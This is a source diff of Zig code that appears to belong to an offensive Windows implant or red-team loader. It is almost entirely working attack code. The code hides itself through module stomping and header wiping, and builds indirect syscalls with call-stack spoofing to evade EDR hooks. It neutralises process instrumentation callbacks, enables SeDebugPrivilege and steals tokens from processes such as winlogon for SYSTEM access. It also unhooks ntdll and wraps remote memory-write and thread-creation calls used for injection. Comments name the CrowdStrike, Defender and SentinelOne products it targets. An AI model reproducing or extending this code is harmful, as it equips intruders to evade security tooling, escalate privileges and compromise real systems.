const head = @as(*resolve.LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList));
|
||||
@@ -34,7 +26,6 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
|
||||
if (@intFromPtr(le.DllBase) == 0 or le.BaseDllName.Length == 0) continue;
|
||||
|
||||
// Match against our target shortlist (crypt32, dwrite, msvcp_win)
|
||||
if (target_base == null) {
|
||||
const buf = le.BaseDllName.Buffer;
|
||||
const len = le.BaseDllName.Length / 2;
|
||||
@@ -47,7 +38,10 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
var c2 = target[ci];
|
||||
if (c1 >= 'A' and c1 <= 'Z') c1 += 32;
|
||||
if (c2 >= 'A' and c2 <= 'Z') c2 += 32;
|
||||
if (c1 != c2) { matches = false; break; }
|
||||
if (c1 != c2) {
|
||||
matches = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (matches) {
|
||||
target_base = le.DllBase;
|
||||
@@ -63,7 +57,6 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
|
||||
if (target_base == null) return null;
|
||||
|
||||
// Parse our own PE to locate the .text section
|
||||
const own_bytes = @as([*]u8, @ptrCast(our_base.?));
|
||||
const dos = @as(*const pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(own_bytes)));
|
||||
if (dos.e_magic != 0x5A4D) return null;
|
||||
@@ -74,7 +67,6 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64);
|
||||
const sections = @as([*]const pe.IMAGE_SECTION_HEADER, @ptrCast(@alignCast(own_bytes + section_off)));
|
||||
|
||||
// Scan section table for .text
|
||||
var text_start: ?*anyopaque = null;
|
||||
var text_size: usize = 0;
|
||||
for (0..nt.FileHeader.NumberOfSections) |i| {
|
||||
@@ -87,7 +79,6 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
|
||||
if (text_start == null or text_size == 0) return null;
|
||||
|
||||
// Step 1: Make target memory RWX so we can write into it
|
||||
var target_mut: ?*anyopaque = target_base;
|
||||
var region_size: win.SIZE_T = target_size;
|
||||
var old_prot: win.ULONG = 0;
|
||||
@@ -100,12 +91,10 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
);
|
||||
if (!win.NT_SUCCESS(st)) return null;
|
||||
|
||||
// Step 2: Copy our .text into the target DLL's memory range
|
||||
const dest = @as([*]u8, @ptrCast(target_mut orelse target_base.?));
|
||||
const src = @as([*]const u8, @ptrCast(text_start.?));
|
||||
@memcpy(dest[0..text_size], src[0..text_size]);
|
||||
|
||||
// Step 3: Restore target to RX so it looks normal to memory scanners
|
||||
var restore_mut: ?*anyopaque = target_mut orelse target_base.?;
|
||||
var restore_size: win.SIZE_T = target_size;
|
||||
var new_old: win.ULONG = 0;
|
||||
@@ -117,7 +106,6 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
&new_old,
|
||||
);
|
||||
|
||||
// Step 4: Zero out our original headers so scanners can't find a rogue DLL header
|
||||
const old_bytes = @as([*]u8, @ptrCast(our_base.?));
|
||||
const e_lfanew = dos.e_lfanew;
|
||||
@memset(old_bytes[0..64], 0);
|
||||
|
||||
+52
-112
@@ -1,5 +1,4 @@
|
||||
// Syscall dispatch ??? SSN extraction, indirect syscalls, EDR callback removal.
|
||||
// References: HellsGate (am0nsec), FreshyCalls (0xdbgman), SysWhispers (jthuraisamy)
|
||||
// Syscall dispatch, SSN extraction, indirect syscalls.
|
||||
const std = @import("std");
|
||||
const win = @import("win32.zig");
|
||||
const resolve = @import("resolve.zig");
|
||||
@@ -11,16 +10,14 @@ var g_ntdll_base: ?*anyopaque = null;
|
||||
var g_init_done: bool = false;
|
||||
var g_rand_state: u64 = 0;
|
||||
|
||||
// FreshyCalls table ??? ntdll Nt* exports sorted by RVA, SSN = position in sorted order
|
||||
// FreshyCalls table, ntdll Nt* exports sorted by RVA. SSN = sort position.
|
||||
const FRESHY_MAX: usize = 1024;
|
||||
const FreshyEntry = struct { hash: u32, rva: u32 };
|
||||
var g_freshy_entries: [FRESHY_MAX]FreshyEntry = undefined;
|
||||
var g_freshy_count: usize = 0;
|
||||
var g_freshy_ready: bool = false;
|
||||
|
||||
// jmp r10 gadget (41 FF E2) found in ntdll at init ??? used as CFG-safe IC neutralizer
|
||||
var g_jmp_r10_gadget: usize = 0;
|
||||
var g_fake_return_addr: usize = 0; // standalone ret (0xC3) in ntdll .text ??? callstack spoof
|
||||
var g_fake_return_addr: usize = 0;
|
||||
|
||||
extern fn hells_gate(ssn: u32, syscall_addr: usize, fake_return: usize) void;
|
||||
extern fn hell_descent(a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize, a7: usize, a8: usize, a9: usize, a10: usize, a11: usize) usize;
|
||||
@@ -35,36 +32,41 @@ pub fn xorshift64() u64 {
|
||||
}
|
||||
|
||||
var g_ntdll_size: usize = 0;
|
||||
var g_exc_begin: usize = 0;
|
||||
var g_exc_count: usize = 0;
|
||||
pub var g_exc_begin: usize = 0;
|
||||
pub var g_exc_count: usize = 0;
|
||||
|
||||
// FreshyCalls table builder ??? walks ntdll's export directory, collects Nt* exports
|
||||
// with real code addresses (skips forwarded exports whose RVAs fall inside the export
|
||||
// directory range). Sorts by RVA ascending. SSN = position in sorted order.
|
||||
// Immune to inline hooking because it only reads the export directory and the RVA sort
|
||||
// order is invariant ??? EDRs can't fake the linker's function layout.
|
||||
// Reference: https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/
|
||||
// FreshyCalls table builder. Walks ntdll export directory, collects Nt* exports
|
||||
// with real code addresses. Sorts by RVA ascending. SSN = sort position.
|
||||
// Immune to inline hooking, EDRs cannot change linker RVA order.
|
||||
fn build_freshy_table() void {
|
||||
const base = g_ntdll_base orelse return;
|
||||
const base_bytes = @as([*]u8, @ptrCast(base));
|
||||
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @constCast(@ptrCast(base_bytes)));
|
||||
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@constCast(base_bytes)));
|
||||
if (dos.e_magic != 0x5A4D) return;
|
||||
const NT_SIGNATURE: u32 = 0x00004550;
|
||||
const nt = @as(*align(1) extern struct {
|
||||
Signature: u32,
|
||||
FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 },
|
||||
OptionalHeader: extern struct { Magic: u16, pad1: [110]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 } },
|
||||
}, @constCast(@ptrCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
|
||||
}, @ptrCast(@constCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
|
||||
if (nt.Signature != NT_SIGNATURE) return;
|
||||
|
||||
const export_dir = nt.OptionalHeader.DataDirectory[0];
|
||||
if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return;
|
||||
|
||||
const exp = @as(*align(1) extern struct {
|
||||
Characteristics: u32, TimeDateStamp: u32, MajorVersion: u16, MinorVersion: u16,
|
||||
Name: u32, Base: u32, NumberOfFunctions: u32, NumberOfNames: u32,
|
||||
AddressOfFunctions: u32, AddressOfNames: u32, AddressOfNameOrdinals: u32,
|
||||
}, @constCast(@ptrCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)))));
|
||||
Characteristics: u32,
|
||||
TimeDateStamp: u32,
|
||||
MajorVersion: u16,
|
||||
MinorVersion: u16,
|
||||
Name: u32,
|
||||
Base: u32,
|
||||
NumberOfFunctions: u32,
|
||||
NumberOfNames: u32,
|
||||
AddressOfFunctions: u32,
|
||||
AddressOfNames: u32,
|
||||
AddressOfNameOrdinals: u32,
|
||||
}, @ptrCast(@constCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)))));
|
||||
|
||||
if (exp.NumberOfNames == 0) return;
|
||||
const names = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNames)))));
|
||||
@@ -77,13 +79,13 @@ fn build_freshy_table() void {
|
||||
while (i < exp.NumberOfNames and g_freshy_count < FRESHY_MAX) : (i += 1) {
|
||||
const name_ptr = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(names[i])))));
|
||||
const name = std.mem.sliceTo(name_ptr, 0);
|
||||
// Only Nt* exports ??? Zw* shares identical SSNs and would produce duplicate positions
|
||||
// Only Nt* exports, Zw* shares identical SSNs and would produce duplicates
|
||||
if (name.len < 2 or name[0] != 'N' or name[1] != 't') continue;
|
||||
|
||||
const ordinal = ords[i];
|
||||
if (ordinal >= exp.NumberOfFunctions) continue;
|
||||
const rva = funcs[ordinal];
|
||||
// Skip forwarded exports ??? their RVAs point inside the export directory
|
||||
// Skip forwarded exports, RVAs point inside the export directory
|
||||
if (rva >= export_dir.VirtualAddress and rva < export_dir_end) continue;
|
||||
|
||||
g_freshy_entries[g_freshy_count] = FreshyEntry{
|
||||
@@ -93,7 +95,7 @@ fn build_freshy_table() void {
|
||||
g_freshy_count += 1;
|
||||
}
|
||||
|
||||
// Sort by RVA ascending ??? SSN = position in sorted order
|
||||
// Sort by RVA ascending, SSN = position in sorted order
|
||||
if (g_freshy_count > 1) {
|
||||
var bubble_i: usize = 0;
|
||||
while (bubble_i < g_freshy_count - 1) : (bubble_i += 1) {
|
||||
@@ -113,7 +115,7 @@ fn build_freshy_table() void {
|
||||
g_freshy_ready = true;
|
||||
}
|
||||
|
||||
// FreshyCalls lookup ??? linear scan by hash in the sorted table, returns SSN.
|
||||
// FreshyCalls lookup, linear scan by hash in sorted table. Returns SSN.
|
||||
fn extract_ssn_freshy(func_hash: u32) ?u16 {
|
||||
if (!g_freshy_ready) return null;
|
||||
for (0..g_freshy_count) |i| {
|
||||
@@ -124,14 +126,13 @@ fn extract_ssn_freshy(func_hash: u32) ?u16 {
|
||||
return null;
|
||||
}
|
||||
|
||||
const RUNTIME_FUNCTION = extern struct {
|
||||
pub const RUNTIME_FUNCTION = extern struct {
|
||||
BeginAddress: u32,
|
||||
EndAddress: u32,
|
||||
UnwindInfoAddress: u32,
|
||||
};
|
||||
|
||||
// then falls back to HAL's Gate exception directory binary search with 0xB8 scan.
|
||||
// Reference (FreshyCalls): https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/
|
||||
// Falls back to HAL's Gate, binary search exception directory with 0xB8 scan.
|
||||
pub fn extract_ssn(func_hash: u32) ?u16 {
|
||||
if (!init_syscall()) return null;
|
||||
|
||||
@@ -175,10 +176,8 @@ pub fn extract_ssn(func_hash: u32) ?u16 {
|
||||
return null;
|
||||
}
|
||||
|
||||
// Scans all of ntdll for "syscall; ret" (0F 05 C3) byte sequences, stores their addresses
|
||||
// in g_syscall_addrs. Also seeds the PRNG, builds FreshyCalls table, caches exception
|
||||
// directory for HAL's Gate fallback, and finds jmp r10 gadget for CFG-aware IC removal.
|
||||
// Runs once ??? subsequent calls no-op.
|
||||
// Seeds PRNG, builds FreshyCalls table, caches exception directory.
|
||||
// Runs once, subsequent calls no-op.
|
||||
pub fn init_syscall() bool {
|
||||
if (g_init_done and g_ntdll_base != null) return true;
|
||||
const ntdll_hash = resolve.hash_ror13("ntdll.dll");
|
||||
@@ -193,20 +192,18 @@ pub fn init_syscall() bool {
|
||||
g_rand_state ^= GetTickCount64();
|
||||
}
|
||||
|
||||
// Scan .text section for syscall gadgets ??? bounds from section headers below
|
||||
// so we never match 0F 05 C3 data constants in .rdata/.data.
|
||||
// Scan .text for syscall;ret (0F 05 C3) gadgets, scoped to .text section
|
||||
const base_bytes = @as([*]const u8, @ptrCast(g_ntdll_base.?));
|
||||
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @constCast(@ptrCast(base_bytes)));
|
||||
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@constCast(base_bytes)));
|
||||
if (dos.e_magic != 0x5A4D) return false;
|
||||
const NT_SIGNATURE: u32 = 0x00004550;
|
||||
const nt = @as(*align(1) extern struct { Signature: u32, FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 }, OptionalHeader: extern struct { pad0: [56]u8, SizeOfImage: u32, pad1: [180]u8 } }, @constCast(@ptrCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
|
||||
const nt = @as(*align(1) extern struct { Signature: u32, FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 }, OptionalHeader: extern struct { pad0: [56]u8, SizeOfImage: u32, pad1: [180]u8 } }, @ptrCast(@constCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
|
||||
if (nt.Signature != NT_SIGNATURE) return false;
|
||||
g_ntdll_size = nt.OptionalHeader.SizeOfImage;
|
||||
|
||||
g_syscall_count = 0;
|
||||
|
||||
// Walk section headers to find .text and .pdata bounds ??? scopes the
|
||||
// gadget scans below so we don't match data constants in .rdata/.data.
|
||||
// Walk section headers to find .text and .pdata bounds
|
||||
{
|
||||
const section_start = @as(usize, @intCast(@intFromPtr(nt) + 24 + 240));
|
||||
const sections = @as([*]align(1) extern struct { Name: [8]u8, VirtualSize: u32, VirtualAddress: u32, SizeOfRawData: u32, PointerToRawData: u32, PointerToRelocations: u32, PointerToLinenumbers: u32, NumberOfRelocations: u16, NumberOfLinenumbers: u16, Characteristics: u32 }, @ptrFromInt(section_start));
|
||||
@@ -225,7 +222,7 @@ pub fn init_syscall() bool {
|
||||
}
|
||||
if (text_va == 0 or text_size == 0) return false;
|
||||
|
||||
// Scan .text for "syscall; ret" (0F 05 C3) gadgets
|
||||
// Scan .text for syscall;ret (0F 05 C3) gadgets
|
||||
var j: usize = text_va;
|
||||
const scan_end: usize = text_va + text_size;
|
||||
while (j < scan_end - 3 and g_syscall_count < g_syscall_addrs.len) : (j += 1) {
|
||||
@@ -233,45 +230,31 @@ pub fn init_syscall() bool {
|
||||
g_syscall_addrs[g_syscall_count] = @intFromPtr(&base_bytes[j]);
|
||||
g_syscall_count += 1;
|
||||
}
|
||||
// Callstack spoof: find a standalone 0xC3 (ret) not part of
|
||||
// syscall;ret. Pushed before jmp so kernel sees ntdll frames.
|
||||
// Find standalone ret (0xC3) not part of syscall;ret for callstack spoof
|
||||
if (g_fake_return_addr == 0 and base_bytes[j] == 0xC3) {
|
||||
if (j < 2 or base_bytes[j - 2] != 0x0F or base_bytes[j - 1] != 0x05) {
|
||||
g_fake_return_addr = @intFromPtr(&base_bytes[j]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Scan .text for jmp r10 gadget (41 FF E2) ??? CFG-aware IC nullifier
|
||||
var scan_i: usize = text_va;
|
||||
while (scan_i < scan_end - 3) : (scan_i += 1) {
|
||||
if (base_bytes[scan_i] == 0x41 and base_bytes[scan_i + 1] == 0xFF and base_bytes[scan_i + 2] == 0xE2) {
|
||||
g_jmp_r10_gadget = @intFromPtr(&base_bytes[scan_i]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (g_syscall_count == 0) return false;
|
||||
|
||||
// Build FreshyCalls table ??? Nt* exports sorted by RVA, SSN = position
|
||||
// Build FreshyCalls table
|
||||
build_freshy_table();
|
||||
|
||||
g_init_done = true;
|
||||
return true;
|
||||
}
|
||||
|
||||
// Core dispatcher: extract SSN ??? pick random syscall gadget ??? hells_gate to encrypt SSN ???
|
||||
// pack up to 11 args ??? call hell_descent assembly stub. Gadget address and SSN are XOR'd
|
||||
// with a mask stored in the assembly data section (stack-based masking, not a real cipher).
|
||||
// Syscall dispatch. Extracts SSN, picks random gadget from pool, calls asm stub.
|
||||
pub fn syscall_dispatch(ssn_hash: u32, args: [*]const usize, arg_count: usize) usize {
|
||||
const ssn = extract_ssn(ssn_hash) orelse return @as(usize, 0xC0000001);
|
||||
const idx = @as(usize, @truncate(xorshift64())) % g_syscall_count;
|
||||
const gadget = g_syscall_addrs[idx];
|
||||
// Callstack spoof: push a standalone ret from ntdll .text so the kernel sees
|
||||
// ntdll frames on top. Gate to <5 args ??? 5+ arg syscalls have stack-based args
|
||||
// at RSP+0x28+index*8 that our push would shift by 8 bytes.
|
||||
// Ref: WithSecure CallStackSpoofer ??? https://github.com/WithSecureLabs/CallStackSpoofer
|
||||
// Callstack spoof: push standalone ret from ntdll so kernel sees ntdll frames.
|
||||
// Gated to <5 args, 5+ arg syscalls have stack args RSP+0x28+idx*8 shifted by push.
|
||||
const fake: usize = if (arg_count < 5) g_fake_return_addr else 0;
|
||||
hells_gate(@as(u32, ssn), gadget, fake);
|
||||
const a = [11]usize{
|
||||
@@ -297,7 +280,7 @@ fn ntstatus(r: usize) win.NTSTATUS {
|
||||
// --------- NT API wrappers ---------
|
||||
// Each packs its NT params into a [N]usize array and calls syscall_dispatch with a ror13 hash.
|
||||
|
||||
// Standard sleep syscall. Spoofed ??? EDRs commonly hook SleepEx and derivatives.
|
||||
// Standard sleep syscall.
|
||||
pub fn nt_delay_execution(alertable: win.BOOLEAN, interval: *const win.LARGE_INTEGER) win.NTSTATUS {
|
||||
const args = [_]usize{ @intFromBool(alertable != 0), @intFromPtr(interval) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDelayExecution"), &args, 2));
|
||||
@@ -315,15 +298,19 @@ pub fn nt_set_information_thread(thread_handle: win.HANDLE, info_class: u32, inf
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationThread"), &args, 4));
|
||||
}
|
||||
|
||||
// Closes a handle. Spoofed ??? EDRs monitor this as a way to detect handle leaks from unknown sources.
|
||||
// Closes a handle.
|
||||
pub fn nt_close(handle: win.HANDLE) win.NTSTATUS {
|
||||
const args = [_]usize{@intFromPtr(handle)};
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtClose"), &args, 1));
|
||||
}
|
||||
|
||||
// Pseudo-handles: no need to open, just use these constants
|
||||
pub fn nt_current_process() win.HANDLE { return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFF)); }
|
||||
pub fn nt_current_thread() win.HANDLE { return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFE)); }
|
||||
pub fn nt_current_process() win.HANDLE {
|
||||
return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFF));
|
||||
}
|
||||
pub fn nt_current_thread() win.HANDLE {
|
||||
return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFE));
|
||||
}
|
||||
|
||||
// Opens a handle to another process by PID.
|
||||
pub fn nt_open_process(process_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: *const win.OBJECT_ATTRIBUTES, client_id: *const win.CLIENT_ID) win.NTSTATUS {
|
||||
@@ -337,77 +324,30 @@ pub fn nt_set_information_process(process_handle: win.HANDLE, info_class: u32, i
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationProcess"), &args, 4));
|
||||
}
|
||||
|
||||
// Escalates SeDebugPrivilege so that NtSetInformationProcess(InfoClass=40) can clear EDR
|
||||
// process instrumentation callbacks. Silently skipped if any step fails — privilege escalation
|
||||
// is best-effort (requires admin/elevated token on most systems).
|
||||
// ponytail: heavily monitored — every major EDR watches NtSetInformationProcess(InfoClass=40)
|
||||
// specifically. The call still works technically on Win10/Win11 but triggers immediate
|
||||
// detection on CrowdStrike, Defender ATP, and SentinelOne. Runs last in startup chain so
|
||||
// the "silence" isn't immediately flagged. Consider removing once further engagement
|
||||
// data confirms this technique burns implants.
|
||||
fn escalate_debug_priv() void {
|
||||
const getcp = api.priv_get_current_process orelse return;
|
||||
const open_tok = api.exec_open_process_token orelse return;
|
||||
const lookup = api.priv_lookup_privilege_value_w orelse return;
|
||||
const adjust = api.priv_adjust_token_privileges orelse return;
|
||||
|
||||
var h_token: win.HANDLE = undefined;
|
||||
if (open_tok(getcp(), win.TOKEN_ADJUST_PRIVILEGES | win.TOKEN_QUERY, &h_token) == 0) return;
|
||||
defer _ = nt_close(h_token);
|
||||
|
||||
var luid: win.LUID = undefined;
|
||||
if (lookup(null, &[_:0]u16{ 'S', 'e', 'D', 'e', 'b', 'u', 'g', 'P', 'r', 'i', 'v', 'i', 'l', 'e', 'g', 'e' }, &luid) == 0) return;
|
||||
|
||||
var tp = win.TOKEN_PRIVILEGES{
|
||||
.PrivilegeCount = 1,
|
||||
.Privileges = [1]win.LUID_AND_ATTRIBUTES{.{ .Luid = luid, .Attributes = win.SE_PRIVILEGE_ENABLED }},
|
||||
};
|
||||
_ = adjust(h_token, 0, &tp, 0, null, null);
|
||||
}
|
||||
|
||||
// Removes kernel-level EDR instrumentation callbacks (InfoClass 40 = ProcessInstrumentationCallback).
|
||||
// CFG-aware: on CFG-enabled systems (Win10 1709+ default), the kernel refuses to null the
|
||||
// callback pointer. Instead we set it to a jmp r10 gadget in ntdll — the IC fires but
|
||||
// immediately returns, effectively neutralizing the callback.
|
||||
// Reference: https://cirosec.de/en/news/windows-instrumentation-callbacks-part-4/
|
||||
// WARNING: Heavily monitored. CrowdStrike, Defender ATP, and SentinelOne all watch
|
||||
// NtSetInformationProcess(InfoClass=40) specifically. DbgMan (May 2026): removal of kernel
|
||||
// callbacks is the domain of BYOVD driver techniques, not user-mode syscalls. Consider
|
||||
// this technique burn-once — it is detectable by design and runs LAST in startup chain.
|
||||
pub fn remove_edr_callbacks() void {
|
||||
escalate_debug_priv();
|
||||
|
||||
const PI_CALLBACK: u32 = 40;
|
||||
const callback = if (g_jmp_r10_gadget != 0) @as(*anyopaque, @ptrFromInt(g_jmp_r10_gadget)) else null;
|
||||
var callbacks = win.PROCESS_INSTRUMENTATION_CALLBACK{ .Version = 0, .Reserved = 0, .Callback = callback };
|
||||
_ = nt_set_information_process(nt_current_process(), PI_CALLBACK, @ptrCast(&callbacks), @sizeOf(win.PROCESS_INSTRUMENTATION_CALLBACK));
|
||||
}
|
||||
|
||||
// Allocates virtual memory in any process. Spoofed ??? high-value EDR target.
|
||||
pub fn nt_allocate_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, zero_bits: win.ULONG_PTR, region_size: *win.SIZE_T, allocation_type: win.ULONG, protect: win.ULONG) win.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @as(usize, zero_bits), @intFromPtr(region_size), @as(usize, allocation_type), @as(usize, protect) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtAllocateVirtualMemory"), &args, 6));
|
||||
}
|
||||
|
||||
// Writes memory in any process. Spoofed ??? injection detection target.
|
||||
// Writes memory in any process.
|
||||
pub fn nt_write_virtual_memory(process_handle: win.HANDLE, base_address: *anyopaque, buffer: [*]const u8, buffer_len: win.SIZE_T, bytes_written: ?*win.SIZE_T) win.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(buffer), @as(usize, buffer_len), if (bytes_written) |bw| @intFromPtr(bw) else @as(usize, 0) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtWriteVirtualMemory"), &args, 5));
|
||||
}
|
||||
|
||||
// Changes page protection. Spoofed ??? commonly monitored for shellcode/RWX patterns.
|
||||
// Changes page protection.
|
||||
pub fn nt_protect_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, region_size: *win.SIZE_T, new_protect: win.ULONG, old_protect: *win.ULONG) win.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(region_size), @as(usize, new_protect), @intFromPtr(old_protect) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtProtectVirtualMemory"), &args, 5));
|
||||
}
|
||||
|
||||
// Creates a thread in any process. Spoofed ??? primary EDR/AV injection detection point.
|
||||
// Creates a thread in any process.
|
||||
pub fn nt_create_thread_ex(thread_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: ?*const win.OBJECT_ATTRIBUTES, process_handle: win.HANDLE, start_address: *anyopaque, parameter: ?*anyopaque, create_flags: win.ULONG, zero_bits: win.SIZE_T, stack_size: win.SIZE_T, max_stack_size: win.SIZE_T, attribute_list: ?*anyopaque) win.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0), @intFromPtr(process_handle), @intFromPtr(start_address), if (parameter) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, create_flags), @as(usize, zero_bits), @as(usize, stack_size), @as(usize, max_stack_size), if (attribute_list) |al| @intFromPtr(al) else @as(usize, 0) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateThreadEx"), &args, 11));
|
||||
}
|
||||
|
||||
// Creates a new process. Spoofed ??? fork-and-run is the loudest IOC EDRs look for.
|
||||
// Creates a new process.
|
||||
pub fn nt_create_user_process(process_handle: *win.HANDLE, thread_handle: *win.HANDLE, process_access: win.DWORD, thread_access: win.DWORD, process_oa: ?*const win.OBJECT_ATTRIBUTES, thread_oa: ?*const win.OBJECT_ATTRIBUTES, process_flags: win.ULONG, thread_flags: win.ULONG, process_parameters: ?*anyopaque, create_info: *win.PROCESS_CREATE_INFO, attribute_list: ?*anyopaque) win.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(thread_handle), @as(usize, process_access), @as(usize, thread_access), if (process_oa) |oa| @intFromPtr(oa) else @as(usize, 0), if (thread_oa) |oa| @intFromPtr(oa) else @as(usize, 0), @as(usize, process_flags), @as(usize, thread_flags), if (process_parameters) |pp| @intFromPtr(pp) else @as(usize, 0), @intFromPtr(create_info), if (attribute_list) |al| @intFromPtr(al) else @as(usize, 0) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateUserProcess"), &args, 11));
|
||||
|
||||
+5
-10
@@ -1,15 +1,10 @@
|
||||
// Token impersonation — steal token from target process, revert to self.
|
||||
// All calls via indirect syscalls.
|
||||
// Ref: https://ntdoc.m417z.com/ntopenprocesstoken, https://ntdoc.m417z.com/ntduplicatetoken
|
||||
// MITRE: T1134.001 (Access Token Manipulation)
|
||||
// Token impersonation via indirect syscalls.
|
||||
const std = @import("std");
|
||||
const syscall = @import("syscall.zig");
|
||||
const win = @import("win32.zig");
|
||||
|
||||
const ThreadImpersonationToken: u32 = 5; // phnt ntpsapi.h THREADINFOCLASS enum
|
||||
|
||||
// Steals the token from a target process and impersonates it on the current thread.
|
||||
// pid: target process ID (e.g. winlogon.exe for SYSTEM).
|
||||
pub fn stealToken(pid: u32) bool {
|
||||
var cid = std.mem.zeroes(win.CLIENT_ID);
|
||||
cid.UniqueProcess = @ptrFromInt(@as(usize, pid));
|
||||
@@ -34,16 +29,16 @@ pub fn stealToken(pid: u32) bool {
|
||||
return win.NT_SUCCESS(syscall.nt_set_information_thread(
|
||||
syscall.nt_current_thread(),
|
||||
ThreadImpersonationToken,
|
||||
@ptrCast(&dup_token), @sizeOf(win.HANDLE),
|
||||
@ptrCast(&dup_token),
|
||||
@sizeOf(win.HANDLE),
|
||||
));
|
||||
}
|
||||
|
||||
// Reverts to the process's primary token, stopping impersonation.
|
||||
// nt_set_information_thread now accepts ?*const anyopaque — null + 0 → revert.
|
||||
pub fn rev2self() bool {
|
||||
return win.NT_SUCCESS(syscall.nt_set_information_thread(
|
||||
syscall.nt_current_thread(),
|
||||
ThreadImpersonationToken,
|
||||
null, 0,
|
||||
null,
|
||||
0,
|
||||
));
|
||||
}
|
||||
|
||||
+27
-30
@@ -1,12 +1,6 @@
|
||||
// NTDLL unhooking — maps clean .text from \KnownDlls section object, overwrites EDR hooks.
|
||||
// Ref: https://ntdoc.m417z.com/ntopensection
|
||||
// MITRE: T1562.001 (Disable or Modify Tools)
|
||||
// DETECTION: Heavily signatured. DbgMan (May 2026): "CrowdStrike Falcon and SentinelOne
|
||||
// deploy signature detection for the unhooking byte-sequence pattern. Microsoft Defender
|
||||
// for Endpoint relies primarily on kernel callbacks and the ETW-TI provider rather than
|
||||
// user-mode inline hooks, making the entire user-mode unhook step strategically irrelevant
|
||||
// against MDE." Kept for environments without these EDRs. FreshyCalls (syscalls that
|
||||
// bypass hooks without unhooking) is the preferred approach.
|
||||
// Maps clean .text from \KnownDlls\ntdll.dll section object, overwrites EDR hooks.
|
||||
// Heavily signatured by CrowdStrike and SentinelOne. Irrelevant against MDE which
|
||||
// uses kernel callbacks and ETW-TI instead of user-mode hooks. FreshyCalls preferred.
|
||||
const std = @import("std");
|
||||
const syscall = @import("syscall.zig");
|
||||
const resolve = @import("resolve.zig");
|
||||
@@ -14,20 +8,14 @@ const win = @import("win32.zig");
|
||||
|
||||
var g_unhooked: bool = false;
|
||||
|
||||
// Restores clean ntdll .text by mapping the \KnownDlls\ntdll.dll section object.
|
||||
// EDR inline hooks live in the per-process ntdll copy. \KnownDlls holds the
|
||||
// original unmodified image mapped at boot by the kernel as a section object.
|
||||
// We map it into our process, copy clean .text over our hooked .text, and unmap.
|
||||
pub fn unhookNtdll() void {
|
||||
if (g_unhooked) return;
|
||||
g_unhooked = true;
|
||||
|
||||
// Resolve ntdll base via ror13 hash (same as syscall.zig does)
|
||||
const ntdll_hash = resolve.hash_ror13("ntdll.dll");
|
||||
const our_base = resolve.get_module_by_hash(ntdll_hash) orelse return;
|
||||
const our_bytes = @as([*]u8, @ptrCast(our_base));
|
||||
|
||||
// Parse PE headers to find .text bounds
|
||||
